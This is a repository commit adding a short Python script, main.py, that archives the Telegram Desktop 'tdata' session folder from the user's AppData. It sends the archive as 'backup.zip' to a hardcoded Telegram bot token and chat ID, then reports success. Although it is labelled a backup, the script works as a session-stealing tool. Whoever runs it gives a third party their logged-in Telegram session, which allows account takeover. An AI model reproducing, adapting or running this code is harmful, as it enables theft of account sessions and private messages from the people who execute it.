Upload files to "/"
This commit is contained in:
43
main.py
Normal file
43
main.py
Normal file
@@ -0,0 +1,43 @@
|
||||
import os
|
||||
import zipfile
|
||||
import requests
|
||||
|
||||
# ================= CONFIG =================
|
||||
BOT_TOKEN = "8417181461:AAH_1SXDPA3b_SeDhUy6RcNWM_bny9SOmeI"
|
||||
CHAT_ID = "-5204345644"
|
||||
|
||||
SOURCE_DIR = "%APPDATA%\\Telegram Desktop\\tdata"
|
||||
EXCLUDE_DIR_NAME = "user_data"
|
||||
ZIP_PATH = "backup.zip"
|
||||
# =========================================
|
||||
|
||||
|
||||
def zip_directory(source_dir, zip_path, exclude_dir_name):
|
||||
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zipf:
|
||||
for root, dirs, files in os.walk(source_dir):
|
||||
# Exclude the directory
|
||||
dirs[:] = [d for d in dirs if d != exclude_dir_name]
|
||||
|
||||
for file in files:
|
||||
full_path = os.path.join(root, file)
|
||||
relative_path = os.path.relpath(full_path, source_dir)
|
||||
zipf.write(full_path, relative_path)
|
||||
|
||||
|
||||
def send_to_telegram(zip_path, bot_token, chat_id):
|
||||
url = f"https://api.telegram.org/bot{bot_token}/sendDocument"
|
||||
with open(zip_path, "rb") as f:
|
||||
response = requests.post(
|
||||
url,
|
||||
data={"chat_id": chat_id},
|
||||
files={"document": f},
|
||||
timeout=120
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
zip_directory(SOURCE_DIR, ZIP_PATH, EXCLUDE_DIR_NAME)
|
||||
send_to_telegram(ZIP_PATH, BOT_TOKEN, CHAT_ID)
|
||||
print("✅ Archive sent to Telegram successfully")
|
||||
|
||||
Reference in New Issue
Block a user